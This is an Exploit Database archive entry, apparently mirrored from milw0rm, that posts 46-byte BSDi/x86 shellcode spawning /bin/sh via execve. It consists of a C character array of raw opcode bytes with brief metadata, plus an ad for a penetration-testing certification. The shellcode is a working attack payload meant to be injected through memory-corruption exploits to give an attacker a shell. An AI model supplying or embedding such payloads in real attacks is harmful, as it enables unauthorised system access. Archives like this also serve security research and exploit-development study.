BSDi/x86 - execve(/bin/sh) Shellcode (46 bytes)

EDB-ID:

13258

CVE:

N/A


Author:

vade79


Platform:

BSDi_x86

Date:

2004-09-26


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

/*
 *  BSDi
 *  execve() of /bin/sh by v9 (v9@fakehalo.org)
 */

static char exec[]=
  "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
  "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
  "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
  "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */

# milw0rm.com [2004-09-26]